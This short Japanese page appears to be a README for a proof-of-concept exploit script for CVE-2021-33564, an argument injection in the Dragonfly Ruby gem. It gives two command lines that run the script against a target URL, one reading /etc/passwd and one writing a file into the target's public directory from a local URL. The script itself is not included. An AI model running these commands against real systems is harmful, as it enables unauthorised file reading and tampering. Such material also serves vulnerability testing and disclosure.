
Dragonfly Ruby Gem における引数インジェクションのエクスプロイト(バックアップ)
CVE-2021-33564 用のエクスプロイトスクリプト (Dragonfly Ruby Gem の引数インジェクション)。
python3 poc.py -u https://<target_url>/system/refinery/images -r /etc/passwd
python3 poc.py -u https://<target_url>/system/refinery/images -w public/test.txt -c test.txt -lu http://<local_url>
詳細については、ブログをご覧ください。